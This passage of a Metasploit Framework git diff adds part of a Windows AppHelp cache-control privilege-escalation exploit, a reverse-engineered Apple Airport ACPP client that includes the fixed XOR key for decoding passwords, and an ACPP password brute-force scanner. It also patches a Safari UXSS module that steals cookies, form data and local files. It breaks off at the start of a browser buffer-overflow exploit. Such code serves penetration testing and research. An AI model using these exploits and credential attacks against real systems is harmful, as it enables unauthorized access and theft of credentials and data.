*SdbReadQWORDTag)(PDB pdb, TAGID tiWhich, ULONGLONG qwDefault); +typedef BOOL(WINAPI *SdbReadStringTag)(PDB pdb, TAGID tiWhich, LPTSTR pwszBuffer, DWORD cchBufferSize); +typedef BOOL(WINAPI *SdbRegisterDatabaseEx)(LPCTSTR pszDatabasePath, DWORD dwDatabaseType, PULONGLONG pTimeStamp); +typedef void (WINAPI *SdbReleaseDatabase)(HSDB hSDB); +typedef void (WINAPI *SdbReleaseMatchingExe)(HSDB hSDB, TAGREF trExe); +typedef BOOL(WINAPI *SdbStartIndexing)(PDB pdb, INDEXID iiWhich); +typedef BOOL(WINAPI *SdbStopIndexing)(PDB pdb, INDEXID iiWhich); +typedef BOOL(WINAPI *SdbTagRefToTagID)(HSDB hSDB, TAGREF trWhich, PDB *ppdb, TAGID *ptiWhich); +typedef LPCTSTR(WINAPI *SdbTagToString)(TAG tag); +typedef BOOL(WINAPI *SdbUnregisterDatabase)(GUID *pguidDB); +typedef BOOL(WINAPI *SdbWriteBinaryTag)(PDB pdb, TAG tTag, PBYTE pBuffer, DWORD dwSize); +typedef BOOL(WINAPI *SdbWriteBinaryTagFromFile)(PDB pdb, TAG tTag, LPCWSTR pwszPath); +typedef BOOL(WINAPI *SdbWriteDWORDTag)(PDB pdb, TAG tTag, DWORD dwData); +typedef BOOL(WINAPI *SdbWriteNULLTag)(PDB pdb, TAG tTag); +typedef BOOL(WINAPI *SdbWriteQWORDTag)(PDB pdb, TAG tTag, ULONGLONG qwData); +typedef BOOL(WINAPI *SdbWriteStringTag)(PDB pdb, TAG tTag, LPCWSTR pwszData); +typedef BOOL(WINAPI *SdbWriteWORDTag)(PDB pdb, TAG tTag, WORD wData); +typedef BOOL(WINAPI *ShimFlushCache)(HWND hwnd, HINSTANCE hInstance, LPCSTR lpszCmdLine, int nCmdShow); +typedef BOOL(WINAPI *SdbGetTagDataSize)(PDB pdb, TAG tTag); +typedef DWORD(WINAPI* SdbGetShowDebugInfoOption)(); + + + + diff --git a/external/source/exploits/ntapphelpcachecontrol/exploit/sdb_functions.cpp b/external/source/exploits/ntapphelpcachecontrol/exploit/sdb_functions.cpp new file mode 100755 index 0000000000..f3a0ccfa16 --- /dev/null +++ b/external/source/exploits/ntapphelpcachecontrol/exploit/sdb_functions.cpp @@ -0,0 +1,190 @@ +#include "stdafx.h" +#include "sdb.h" + +BaseFlushAppcompatCache BaseFlushAppcompatCachePtr = NULL; +SdbBeginWriteListTag SdbBeginWriteListTagPtr = NULL; +SdbCloseDatabase SdbCloseDatabasePtr = NULL; +SdbCloseDatabaseWrite SdbCloseDatabaseWritePtr = NULL; +SdbCommitIndexes SdbCommitIndexesPtr = NULL; +SdbCreateDatabase SdbCreateDatabasePtr = NULL; +SdbDeclareIndex SdbDeclareIndexPtr = NULL; +SdbEndWriteListTag SdbEndWriteListTagPtr = NULL; +SdbFindFirstDWORDIndexedTag SdbFindFirstDWORDIndexedTagPtr = NULL; +SdbFindFirstTag SdbFindFirstTagPtr = NULL; +SdbFindNextTag SdbFindNextTagPtr = NULL; +SdbFormatAttribute SdbFormatAttributePtr = NULL; +SdbFreeFileAttributes SdbFreeFileAttributesPtr = NULL; +SdbGetAppPatchDir SdbGetAppPatchDirPtr = NULL; +SdbGetBinaryTagData SdbGetBinaryTagDataPtr = NULL; +SdbGetFileAttributes SdbGetFileAttributesPtr = NULL; +SdbGetFirstChild SdbGetFirstChildPtr = NULL; +SdbGetIndex SdbGetIndexPtr = NULL; +SdbGetMatchingExe SdbGetMatchingExePtr = NULL; +SdbGetNextChild SdbGetNextChildPtr = NULL; +SdbGetStringTagPtr SdbGetStringTagPtrPtr = NULL; +SdbGetTagFromTagID SdbGetTagFromTagIDPtr = NULL; +SdbInitDatabase SdbInitDatabasePtr = NULL; +SdbIsStandardDatabase SdbIsStandardDatabasePtr = NULL; +SdbMakeIndexKeyFromString SdbMakeIndexKeyFromStringPtr = NULL; +SdbOpenApphelpDetailsDatabase SdbOpenApphelpDetailsDatabasePtr = NULL; +SdbOpenApphelpResourceFile SdbOpenApphelpResourceFilePtr = NULL; +SdbOpenDatabase SdbOpenDatabasePtr = NULL; +SdbQueryDataExTagID SdbQueryDataExTagIDPtr = NULL; +SdbReadApphelpDetailsData SdbReadApphelpDetailsDataPtr = NULL; +SdbReadBinaryTag SdbReadBinaryTagPtr = NULL; +SdbReadDWORDTag SdbReadDWORDTagPtr = NULL; +SdbReadWORDTag SdbReadWORDTagPtr = NULL; +SdbReadQWORDTag SdbReadQWORDTagPtr = NULL; +SdbReadStringTag SdbReadStringTagPtr = NULL; +SdbRegisterDatabaseEx SdbRegisterDatabaseExPtr = NULL; +SdbReleaseDatabase SdbReleaseDatabasePtr = NULL; +SdbReleaseMatchingExe SdbReleaseMatchingExePtr = NULL; +SdbStartIndexing SdbStartIndexingPtr = NULL; +SdbStopIndexing SdbStopIndexingPtr = NULL; +SdbTagRefToTagID SdbTagRefToTagIDPtr = NULL; +SdbTagToString SdbTagToStringPtr = NULL; +SdbUnregisterDatabase SdbUnregisterDatabasePtr = NULL; +SdbWriteBinaryTag SdbWriteBinaryTagPtr = NULL; +SdbWriteBinaryTagFromFile SdbWriteBinaryTagFromFilePtr = NULL; +SdbWriteDWORDTag SdbWriteDWORDTagPtr = NULL; +SdbWriteNULLTag SdbWriteNULLTagPtr = NULL; +SdbWriteQWORDTag SdbWriteQWORDTagPtr = NULL; +SdbWriteStringTag SdbWriteStringTagPtr = NULL; +SdbWriteWORDTag SdbWriteWORDTagPtr = NULL; +ShimFlushCache ShimFlushCachePtr = NULL; +SdbGetTagDataSize SdbGetTagDataSizePtr = NULL; +SdbGetShowDebugInfoOption SdbGetShowDebugInfoOptionPtr = NULL; + +BOOL resolveSdbFunctions() +{ + HMODULE apphelpdll; + HMODULE kernel32dll; + apphelpdll = LoadLibraryA("apphelp.dll"); + if (!apphelpdll) + { + fprintf(stderr, "Failed to load apphelp\n"); + return FALSE; + } + + kernel32dll = LoadLibraryA("kernel32.dll"); + if (!kernel32dll) + { + fprintf(stderr, "Failed to load kernel32\n"); + return FALSE; + } + + + BaseFlushAppcompatCachePtr = (BaseFlushAppcompatCache)GetProcAddress(kernel32dll, "BaseFlushAppcompatCache"); + SdbBeginWriteListTagPtr = (SdbBeginWriteListTag)GetProcAddress(apphelpdll, "SdbBeginWriteListTag"); + SdbCloseDatabasePtr = (SdbCloseDatabase)GetProcAddress(apphelpdll, "SdbCloseDatabase"); + SdbCloseDatabaseWritePtr = (SdbCloseDatabaseWrite)GetProcAddress(apphelpdll, "SdbCloseDatabaseWrite"); + SdbCommitIndexesPtr = (SdbCommitIndexes)GetProcAddress(apphelpdll, "SdbCommitIndexes"); + SdbCreateDatabasePtr = (SdbCreateDatabase)GetProcAddress(apphelpdll, "SdbCreateDatabase"); + SdbDeclareIndexPtr = (SdbDeclareIndex)GetProcAddress(apphelpdll, "SdbDeclareIndex"); + SdbEndWriteListTagPtr = (SdbEndWriteListTag)GetProcAddress(apphelpdll, "SdbEndWriteListTag"); + SdbFindFirstDWORDIndexedTagPtr = (SdbFindFirstDWORDIndexedTag)GetProcAddress(apphelpdll, "SdbFindFirstDWORDIndexedTag"); + SdbFindFirstTagPtr = (SdbFindFirstTag)GetProcAddress(apphelpdll, "SdbFindFirstTag"); + SdbFindNextTagPtr = (SdbFindNextTag)GetProcAddress(apphelpdll, "SdbFindNextTag"); + SdbFormatAttributePtr = (SdbFormatAttribute)GetProcAddress(apphelpdll, "SdbFormatAttribute"); + SdbFreeFileAttributesPtr = (SdbFreeFileAttributes)GetProcAddress(apphelpdll, "SdbFreeFileAttributes"); + SdbGetAppPatchDirPtr = (SdbGetAppPatchDir)GetProcAddress(apphelpdll, "SdbGetAppPatchDir"); + SdbGetBinaryTagDataPtr = (SdbGetBinaryTagData)GetProcAddress(apphelpdll, "SdbGetBinaryTagData"); + SdbGetFileAttributesPtr = (SdbGetFileAttributes)GetProcAddress(apphelpdll, "SdbGetFileAttributes"); + SdbGetFirstChildPtr = (SdbGetFirstChild)GetProcAddress(apphelpdll, "SdbGetFirstChild"); + SdbGetIndexPtr = (SdbGetIndex)GetProcAddress(apphelpdll, "SdbGetIndex"); + SdbGetMatchingExePtr = (SdbGetMatchingExe)GetProcAddress(apphelpdll, "SdbGetMatchingExe"); + SdbGetNextChildPtr = (SdbGetNextChild)GetProcAddress(apphelpdll, "SdbGetNextChild"); + SdbGetStringTagPtrPtr = (SdbGetStringTagPtr)GetProcAddress(apphelpdll, "SdbGetStringTagPtr"); + SdbGetTagFromTagIDPtr = (SdbGetTagFromTagID)GetProcAddress(apphelpdll, "SdbGetTagFromTagID"); + SdbInitDatabasePtr = (SdbInitDatabase)GetProcAddress(apphelpdll, "SdbInitDatabase"); + SdbIsStandardDatabasePtr = (SdbIsStandardDatabase)GetProcAddress(apphelpdll, "SdbIsStandardDatabase"); + SdbMakeIndexKeyFromStringPtr = (SdbMakeIndexKeyFromString)GetProcAddress(apphelpdll, "SdbMakeIndexKeyFromString"); + SdbOpenApphelpDetailsDatabasePtr = (SdbOpenApphelpDetailsDatabase)GetProcAddress(apphelpdll, "SdbOpenApphelpDetailsDatabase"); + SdbOpenApphelpResourceFilePtr = (SdbOpenApphelpResourceFile)GetProcAddress(apphelpdll, "SdbOpenApphelpResourceFile"); + SdbOpenDatabasePtr = (SdbOpenDatabase)GetProcAddress(apphelpdll, "SdbOpenDatabase"); + SdbQueryDataExTagIDPtr = (SdbQueryDataExTagID)GetProcAddress(apphelpdll, "SdbQueryDataExTagID"); + SdbReadApphelpDetailsDataPtr = (SdbReadApphelpDetailsData)GetProcAddress(apphelpdll, "SdbReadApphelpDetailsData"); + SdbReadBinaryTagPtr = (SdbReadBinaryTag)GetProcAddress(apphelpdll, "SdbReadBinaryTag"); + SdbReadDWORDTagPtr = (SdbReadDWORDTag)GetProcAddress(apphelpdll, "SdbReadDWORDTag"); + SdbReadWORDTagPtr = (SdbReadWORDTag)GetProcAddress(apphelpdll, "SdbReadWORDTag"); + SdbReadQWORDTagPtr = (SdbReadQWORDTag)GetProcAddress(apphelpdll, "SdbReadQWORDTag"); + SdbReadStringTagPtr = (SdbReadStringTag)GetProcAddress(apphelpdll, "SdbReadStringTag"); + SdbRegisterDatabaseExPtr = (SdbRegisterDatabaseEx)GetProcAddress(apphelpdll, "SdbRegisterDatabaseEx"); + SdbReleaseDatabasePtr = (SdbReleaseDatabase)GetProcAddress(apphelpdll, "SdbReleaseDatabase"); + SdbReleaseMatchingExePtr = (SdbReleaseMatchingExe)GetProcAddress(apphelpdll, "SdbReleaseMatchingExe"); + SdbStartIndexingPtr = (SdbStartIndexing)GetProcAddress(apphelpdll, "SdbStartIndexing"); + SdbStopIndexingPtr = (SdbStopIndexing)GetProcAddress(apphelpdll, "SdbStopIndexing"); + SdbTagRefToTagIDPtr = (SdbTagRefToTagID)GetProcAddress(apphelpdll, "SdbTagRefToTagID"); + SdbTagToStringPtr = (SdbTagToString)GetProcAddress(apphelpdll, "SdbTagToString"); + SdbUnregisterDatabasePtr = (SdbUnregisterDatabase)GetProcAddress(apphelpdll, "SdbUnregisterDatabase"); + SdbWriteBinaryTagPtr = (SdbWriteBinaryTag)GetProcAddress(apphelpdll, "SdbWriteBinaryTag"); + SdbWriteBinaryTagFromFilePtr = (SdbWriteBinaryTagFromFile)GetProcAddress(apphelpdll, "SdbWriteBinaryTagFromFile"); + SdbWriteDWORDTagPtr = (SdbWriteDWORDTag)GetProcAddress(apphelpdll, "SdbWriteDWORDTag"); + SdbWriteNULLTagPtr = (SdbWriteNULLTag)GetProcAddress(apphelpdll, "SdbWriteNULLTag"); + SdbWriteQWORDTagPtr = (SdbWriteQWORDTag)GetProcAddress(apphelpdll, "SdbWriteQWORDTag"); + SdbWriteStringTagPtr = (SdbWriteStringTag)GetProcAddress(apphelpdll, "SdbWriteStringTag"); + SdbWriteWORDTagPtr = (SdbWriteWORDTag)GetProcAddress(apphelpdll, "SdbWriteWORDTag"); + ShimFlushCachePtr = (ShimFlushCache)GetProcAddress(apphelpdll, "ShimFlushCache"); + SdbGetTagDataSizePtr = (SdbGetTagDataSize)GetProcAddress(apphelpdll, "SdbGetTagDataSize"); + SdbGetShowDebugInfoOptionPtr = (SdbGetShowDebugInfoOption)GetProcAddress(apphelpdll, "SdbGetShowDebugInfoOption"); + + if (!BaseFlushAppcompatCachePtr + || !SdbBeginWriteListTagPtr + || !SdbCloseDatabasePtr + || !SdbCloseDatabaseWritePtr + || !SdbCommitIndexesPtr + || !SdbCreateDatabasePtr + || !SdbDeclareIndexPtr + || !SdbEndWriteListTagPtr + || !SdbFindFirstDWORDIndexedTagPtr + || !SdbFindFirstTagPtr + || !SdbFindNextTagPtr + || !SdbFormatAttributePtr + || !SdbFreeFileAttributesPtr + || !SdbGetAppPatchDirPtr + || !SdbGetBinaryTagDataPtr + || !SdbGetFileAttributesPtr + || !SdbGetFirstChildPtr + || !SdbGetIndexPtr + || !SdbGetMatchingExePtr + || !SdbGetNextChildPtr + || !SdbGetStringTagPtrPtr + || !SdbGetTagFromTagIDPtr + || !SdbInitDatabasePtr + || !SdbIsStandardDatabasePtr + || !SdbMakeIndexKeyFromStringPtr + || !SdbOpenApphelpDetailsDatabasePtr + || !SdbOpenApphelpResourceFilePtr + || !SdbOpenDatabasePtr + || !SdbQueryDataExTagIDPtr + || !SdbReadApphelpDetailsDataPtr + || !SdbReadBinaryTagPtr + || !SdbReadDWORDTagPtr + || !SdbReadQWORDTagPtr + || !SdbReadStringTagPtr + || !SdbRegisterDatabaseExPtr + || !SdbReleaseDatabasePtr + || !SdbReleaseMatchingExePtr + || !SdbStartIndexingPtr + || !SdbStopIndexingPtr + || !SdbTagRefToTagIDPtr + || !SdbTagToStringPtr + || !SdbUnregisterDatabasePtr + || !SdbWriteBinaryTagPtr + || !SdbWriteBinaryTagFromFilePtr + || !SdbWriteDWORDTagPtr + || !SdbWriteNULLTagPtr + || !SdbWriteQWORDTagPtr + || !SdbWriteStringTagPtr + || !SdbWriteWORDTagPtr + || !ShimFlushCachePtr + || !SdbReadWORDTagPtr + || !SdbGetTagDataSizePtr + || !SdbGetShowDebugInfoOptionPtr) + { + return FALSE; + } + return TRUE; + +} + diff --git a/external/source/exploits/ntapphelpcachecontrol/exploit/stdafx.cpp b/external/source/exploits/ntapphelpcachecontrol/exploit/stdafx.cpp new file mode 100755 index 0000000000..7bdad557f1 --- /dev/null +++ b/external/source/exploits/ntapphelpcachecontrol/exploit/stdafx.cpp @@ -0,0 +1,9 @@ +// stdafx.cpp : source file that includes just the standard includes +// exploit.pch will be the pre-compiled header +// stdafx.obj will contain the pre-compiled type information + +#include "stdafx.h" + + +// TODO: reference any additional headers you need in STDAFX.H +// and not in this file diff --git a/external/source/exploits/ntapphelpcachecontrol/exploit/stdafx.h b/external/source/exploits/ntapphelpcachecontrol/exploit/stdafx.h new file mode 100755 index 0000000000..d42eed6a35 --- /dev/null +++ b/external/source/exploits/ntapphelpcachecontrol/exploit/stdafx.h @@ -0,0 +1,14 @@ +#pragma once + +#include "targetver.h" + +#include +#include + + +#define WIN32_NO_STATUS 1 +#include +#undef WIN32_NO_STATUS + +#include +#include diff --git a/external/source/exploits/ntapphelpcachecontrol/exploit/targetver.h b/external/source/exploits/ntapphelpcachecontrol/exploit/targetver.h new file mode 100755 index 0000000000..90e767bfce --- /dev/null +++ b/external/source/exploits/ntapphelpcachecontrol/exploit/targetver.h @@ -0,0 +1,8 @@ +#pragma once + +// Including SDKDDKVer.h defines the highest available Windows platform. + +// If you wish to build your application for a previous Windows platform, include WinSDKVer.h and +// set the _WIN32_WINNT macro to the platform you wish to support before including SDKDDKVer.h. + +#include diff --git a/lib/metasploit/framework/login_scanner/acpp.rb b/lib/metasploit/framework/login_scanner/acpp.rb new file mode 100644 index 0000000000..1f01e59d04 --- /dev/null +++ b/lib/metasploit/framework/login_scanner/acpp.rb @@ -0,0 +1,70 @@ +require 'metasploit/framework/tcp/client' +require 'rex/proto/acpp' +require 'metasploit/framework/login_scanner/base' +require 'metasploit/framework/login_scanner/rex_socket' + +module Metasploit + module Framework + module LoginScanner + # This is the LoginScanner class for dealing with the Apple Airport ACPP + # protocol. It is responsible for taking a single target, and a list of + # credentials and attempting them. It then saves the results. + class ACPP + include Metasploit::Framework::LoginScanner::Base + include Metasploit::Framework::LoginScanner::RexSocket + include Metasploit::Framework::Tcp::Client + + # + # CONSTANTS + # + DEFAULT_PORT = Rex::Proto::ACPP::DEFAULT_PORT + LIKELY_PORTS = [ DEFAULT_PORT ] + LIKELY_SERVICE_NAMES = [ 'acpp' ] + PRIVATE_TYPES = [ :password ] + REALM_KEY = nil + + + # This method attempts a single login with a single credential against the target + # @param credential [Credential] The credential object to attmpt to login with + # @return [Metasploit::Framework::LoginScanner::Result] The LoginScanner Result object + def attempt_login(credential) + result_options = { + credential: credential, + host: host, + port: port, + protocol: 'tcp', + service_name: 'acpp' + } + + begin + # Make our initial socket to the target + disconnect if self.sock + connect + + client = Rex::Proto::ACPP::Client.new(sock) + + auth_response = client.authenticate(credential.private) + if auth_response.successful? + status = Metasploit::Model::Login::Status::SUCCESSFUL + else + status = Metasploit::Model::Login::Status::INCORRECT + end + result_options.merge!( + proof: "Status code #{auth_response.status}", + status: status + ) + rescue ::EOFError, Errno::ENOTCONN, Rex::ConnectionError, ::Timeout::Error => e + result_options.merge!( + proof: e.message, + status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + ) + ensure + disconnect + end + + ::Metasploit::Framework::LoginScanner::Result.new(result_options) + end + end + end + end +end diff --git a/lib/msf/core/post/windows/wmic.rb b/lib/msf/core/post/windows/wmic.rb index f2e5fc965d..a9db0fc3c5 100644 --- a/lib/msf/core/post/windows/wmic.rb +++ b/lib/msf/core/post/windows/wmic.rb @@ -27,7 +27,7 @@ module WMIC result_text = "" if datastore['SMBUser'] - if server.downcase == "localhost" || server.downcase.starts_with("127.") + if server.downcase == "localhost" || server.downcase.starts_with?('127.') raise RuntimeError, "WMIC: User credentials cannot be used for local connections" end end diff --git a/lib/rex/proto/acpp.rb b/lib/rex/proto/acpp.rb new file mode 100644 index 0000000000..2cd7b083e4 --- /dev/null +++ b/lib/rex/proto/acpp.rb @@ -0,0 +1,17 @@ +# -*- coding: binary -*- +# +# Support for the protocol used by Apple Airport products, typically on +# 5009/TCP. This protocol is not documented and doesn't appear to have a name, +# so I'm calling it ACPP because that is the protocol header. +# + +require 'rex/proto/acpp/client' +require 'rex/proto/acpp/message' + +module Rex + module Proto + module ACPP + DEFAULT_PORT = 5009 + end + end +end diff --git a/lib/rex/proto/acpp/client.rb b/lib/rex/proto/acpp/client.rb new file mode 100644 index 0000000000..caedaa6a5c --- /dev/null +++ b/lib/rex/proto/acpp/client.rb @@ -0,0 +1,29 @@ +# -*- coding: binary -*- + +## +# ACPP protocol support +## + +module Rex +module Proto +module ACPP + +class Client + + def initialize(sock, opts = {}) + @sock = sock + @opts = opts + end + + def authenticate(password = 'public') + login = Message.new + login.password = password + login.type = 20 + @sock.put(login.to_s) + # TODO: the checksum never validates here + Message.decode(@sock.get_once(128), false) + end +end +end +end +end diff --git a/lib/rex/proto/acpp/message.rb b/lib/rex/proto/acpp/message.rb new file mode 100644 index 0000000000..bb526d4508 --- /dev/null +++ b/lib/rex/proto/acpp/message.rb @@ -0,0 +1,183 @@ +# -*- coding: binary -*- + +module Rex +module Proto +module ACPP + # From what I've been able to gather from the very limited findings on the + # web about this protocol, playing with it against a real Airport device and + # referencing the airport-utils package in Debian/Ubuntu, the format of (at + # least) the login message is: + # + # acpp # the header tag, always exactly acpp (4 bytes) + # unknown1 # unknown 4-byte field. Almost always 0x00000001 + # messageChecksum # checksum of the message, 4 bytes + # payloadChecksum # checksum of the payload, 4 bytes + # payloadSize # size of the payload, 4 bytes + # unknown2 # unknown 8-byte field. probably some sort of + # request/response identifier. generally 0 for requests, 1 for replies + # messageType # the type of message, 4 bytes. see below. + # status # the status of this message, 4 bytes. + # generally 0 for success and !0 for failure. + # unknown3 # unknown 12-byte field, seemingly always 0. Probably 'reserved' + # password # 32-byte password, 'encrypted' by XOR'ing it with a 256-byte static key (see XOR_KEY) + # unknown4 # unknown 48-byte field, always 0. + # + # There are several possible message types: + # + # * 20 -- retrieve settings (payload is some list of settings to obtain) + # * 21 -- update setttings (and if the 'acRB' setting is set, it reboots) + # * 3 -- Upload firmware + # + # TODO: if you find more, add them above. + # + # When the message type is anything other than 20 or 3, payloadSize is set to -1 and + # payloadChecksum is set to 1. It may be a bug that 21 doesn't look at the + # checksum. Adler32 is used to compute the checksum. + # + # The message payload is a bit of an unknown right now, as it *seems* like + # the payload always comes in a subsequent request. Simply appending + # a payload to the existing message does not appear to work (but this needs + # more testing) + + # This was taken from airport-util's AirportInforRecord for ease of copying, but can + # also be obtained by XOR'ing the null-padded known plain text with the appropriate 32-byte + # ciphertext from an airport-util request + XOR_KEY = [ + 14, 57, -8, 5, -60, 1, 85, 79, 12, -84, + -123, 125, -122, -118, -75, 23, 62, 9, -56, 53, + -12, 49, 101, 127, 60, -100, -75, 109, -106, -102, + -91, 7, 46, 25, -40, 37, -28, 33, 117, 111, + 44, -116, -91, -99, 102, 106, 85, -9, -34, -23, + 40, -43, 20, -47, -123, -97, -36, 124, 85, -115, + 118, 122, 69, -25, -50, -7, 56, -59, 4, -63, + -107, -113, -52, 108, 69, -67, 70, 74, 117, -41, + -2, -55, 8, -11, 52, -15, -91, -65, -4, 92, + 117, -83, 86, 90, 101, -57, -18, -39, 24, -27, + 36, -31, -75, -81, -20, 76, 101, -35, 38, 42, + 21, -73, -98, -87, 104, -107, 84, -111, -59, -33, + -100, 60, 21, -51, 54, 58, 5, -89, -114, -71, + 120, -123, 68, -127, -43, -49, -116, 44, 5, -3, + 6, 10, 53, -105, -66, -119, 72, -75, 116, -79, + -27, -1, -68, 28, 53, -19, 22, 26, 37, -121, + -82, -103, 88, -91, 100, -95, -11, -17, -84, 12, + 37, 29, -26, -22, -43, 119, 94, 105, -88, 85, + -108, 81, 5, 31, 92, -4, -43, 13, -10, -6, + -59, 103, 78, 121, -72, 69, -124, 65, 21, 15, + 76, -20, -59, 61, -58, -54, -11, 87, 126, 73, + -120, 117, -76, 113, 37, 63, 124, -36, -11, 45, + -42, -38, -27, 71, 110, 89, -104, 101, -92, 97, + 53, 47, 108, -52, -27, 93, -90, -86, -107, 55, + 30, 41, -24, 21, -44, 17, 69, 95, 28, -68, + -107, 77, -74, -70, -123, 39 + ].pack("C*") + + class Message + # @return [Integer] the type of this message + attr_accessor :type + # @return [String] the password to attempt to authenticate with + attr_accessor :password + # @return [String] the optional message payload + attr_accessor :payload + # @return [Integer] the status of this message + attr_accessor :status + + def initialize + @payload = '' + @type = 0 + @status = 0 + @password = '' + @unknown1 = 1 + @unknown2 = '' + @unknown3 = '' + @unknown4 = '' + end + + # Determines if this message has a successful status code + # + # @return [Boolean] true iff @status is 0, false otherwise + def successful? + @status == 0 + end + + # Get this Message as a String + # + # @return [String] the string representation of this Message + def to_s + with_checksum(Zlib.adler32(with_checksum(0))) + end + + # Compares this Message and another Message for equality + # + # @param other [Message] the Message to compare + # @return [Boolean] true iff the two messages are equal, false otherwise + def ==(other) + other.type == @type && + other.status == @status && + other.password == @password && + other.payload == @payload + end + + # Decodes the provided data into a Message + # + # @param data [String] the data to parse as a Message + # @param validate_checksum [Boolean] true to validate the message and + # payload checksums, false to not. Defaults to true. + # @return [Message] the decoded Message + def self.decode(data, validate_checksum = true) + data = data.dup + fail "Incorrect ACPP message size #{data.size} -- must be 128" unless data.size == 128 + fail 'Unexpected header' unless 'acpp' == data.slice!(0, 4) + _unknown1 = data.slice!(0, 4) + read_message_checksum = data.slice!(0, 4).unpack('N').first + read_payload_checksum = data.slice!(0, 4).unpack('N').first + _read_payload_size = data.slice!(0, 4).unpack('N').first + _unknown2 = data.slice!(0, 8) + type = data.slice!(0, 4).unpack('N').first + status = data.slice!(0, 4).unpack('N').first + _unknown3 = data.slice!(0, 12) + password = Rex::Encoding::Xor::Generic.encode(data.slice!(0, 32), XOR_KEY).first.strip + _unknown4 = data.slice!(0, 48) + payload = data + m = new + m.type = type + m.password = password + m.status = status + m.payload = payload + + # we can now validate the checksums if desired + if validate_checksum + actual_message_checksum = Zlib.adler32(m.with_checksum(0)) + if actual_message_checksum != read_message_checksum + fail "Invalid message checksum (expected #{read_message_checksum}, calculated #{actual_message_checksum})" + end + # I'm not sure this can ever happen -- if the payload checksum is wrong, then the + # message checksum will also be wrong. So, either I misunderstand the protocol + # or having two checksums is useless + actual_payload_checksum = Zlib.adler32(payload) + if actual_payload_checksum != read_payload_checksum + fail "Invalid payload checksum (expected #{read_payload_checksum}, calculated #{actual_payload_checksum})" + end + end + m + end + + def with_checksum(message_checksum) + [ + 'acpp', + @unknown1, + message_checksum, + Zlib.adler32(@payload), + @payload.size, + @unknown2, + @type, + @status, + @unknown3, + Rex::Encoding::Xor::Generic.encode([@password].pack('a32').slice(0, 32), XOR_KEY).first, + @unknown4, + payload + ].pack('a4NNNNa8NNa12a32a48a*') + end + end +end +end +end diff --git a/modules/auxiliary/gather/apple_safari_webarchive_uxss.rb b/modules/auxiliary/gather/apple_safari_webarchive_uxss.rb index 79dec6cbf0..dd07d0eeed 100644 --- a/modules/auxiliary/gather/apple_safari_webarchive_uxss.rb +++ b/modules/auxiliary/gather/apple_safari_webarchive_uxss.rb @@ -47,9 +47,9 @@ class Metasploit3 < Msf::Auxiliary register_options( [ OptString.new('FILENAME', [ true, 'The file name.', 'msf.webarchive']), - OptString.new('URLS', [ true, 'A space-delimited list of URLs to UXSS (eg http://browserscan.rapid7.com/']), + OptString.new('URLS', [ true, 'A space-delimited list of URLs to UXSS (eg http://rapid7.com http://example.com']), OptString.new('URIPATH', [false, 'The URI to receive the UXSS\'ed data', '/grab']), - OptString.new('DOWNLOAD_PATH', [ true, 'The path to download the webarhive.', '/msf.webarchive']), + OptString.new('DOWNLOAD_PATH', [ true, 'The path to download the webarchive.', '/msf.webarchive']), OptString.new('URLS', [ true, 'The URLs to steal cookie and form data from.', '']), OptString.new('FILE_URLS', [false, 'Additional file:// URLs to steal.', '']), OptBool.new('STEAL_COOKIES', [true, "Enable cookie stealing.", true]), @@ -768,8 +768,11 @@ class Metasploit3 < Msf::Auxiliary if script_uri.relative? url = page_uri + url end + if url.to_s.starts_with? '//' + url = "#{page_uri.scheme}:#{url}" + end io = open(url) - rescue URI::InvalidURIError => e + rescue URI::InvalidURIError, OpenURI::HTTPError next end diff --git a/modules/auxiliary/scanner/acpp/login.rb b/modules/auxiliary/scanner/acpp/login.rb new file mode 100644 index 0000000000..120c341a28 --- /dev/null +++ b/modules/auxiliary/scanner/acpp/login.rb @@ -0,0 +1,103 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'rex/proto/acpp' +require 'metasploit/framework/credential_collection' +require 'metasploit/framework/login_scanner/acpp' + +class Metasploit3 < Msf::Auxiliary + include Msf::Exploit::Remote::Tcp + include Msf::Auxiliary::Scanner + include Msf::Auxiliary::Report + include Msf::Auxiliary::AuthBrute + + def initialize + super( + 'Name' => 'Apple Airport ACPP Authentication Scanner', + 'Description' => %q( + This module attempts to authenticate to an Apple Airport using its + proprietary and largely undocumented protocol known only as ACPP. + ), + 'Author' => + [ + 'Jon Hart ' + ], + 'References' => + [ + %w(CVE 2003-0270) # Fixed XOR key used to encrypt password + ], + 'License' => MSF_LICENSE + ) + + register_options( + [ + Opt::RPORT(Rex::Proto::ACPP::DEFAULT_PORT) + ], self.class) + + deregister_options( + # there is no username, so remove all of these options + 'DB_ALL_USERS', + 'DB_ALL_CREDS', + 'USERNAME', + 'USERPASS_FILE', + 'USER_FILE', + 'USER_AS_PASS' + ) + + register_autofilter_ports([Rex::Proto::ACPP::DEFAULT_PORT]) + end + + def run_host(ip) + vprint_status("#{ip}:#{rport} - Starting ACPP login sweep") + + cred_collection = Metasploit::Framework::CredentialCollection.new( + blank_passwords: datastore['BLANK_PASSWORDS'], + pass_file: datastore['PASS_FILE'], + password: datastore['PASSWORD'], + username: '' + ) + + cred_collection = prepend_db_passwords(cred_collection) + + scanner = Metasploit::Framework::LoginScanner::ACPP.new( + host: ip, + port: rport, + proxies: datastore['PROXIES'], + cred_details: cred_collection, + stop_on_success: datastore['STOP_ON_SUCCESS'], + bruteforce_speed: datastore['BRUTEFORCE_SPEED'], + connection_timeout: datastore['ConnectTimeout'], + max_send_size: datastore['TCP::max_send_size'], + send_delay: datastore['TCP::send_delay'] + ) + + scanner.scan! do |result| + credential_data = result.to_h + credential_data.merge!( + module_fullname: fullname, + workspace_id: myworkspace_id + ) + password = result.credential.private + if result.success? + credential_core = create_credential(credential_data) + credential_data[:core] = credential_core + create_credential_login(credential_data) + print_good("#{ip}:#{rport} - ACPP LOGIN SUCCESSFUL: #{password}") + report_vuln( + host: ip, + port: rport, + proto: 'tcp', + name: 'Fixed XOR key used to encrypt passwords', + info: "Successful authentication with '#{password}'", + refs: references + ) + else + invalidate_login(credential_data) + vprint_error("#{ip}:#{rport} - ACPP LOGIN FAILED: #{password} (#{result.status}: #{result.proof})") + end + end + end +end diff --git a/modules/exploits/windows/browser/getgodm_http_response_bof.rb b/modules/exploits/windows/browser/getgodm_http_response_bof.rb new file mode 100644 index 0000000000..3398e397c6 --- /dev/null +++ b/modules/exploits/windows/browser/getgodm_http_response_bof.rb @@ -0,0 +1,170 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = 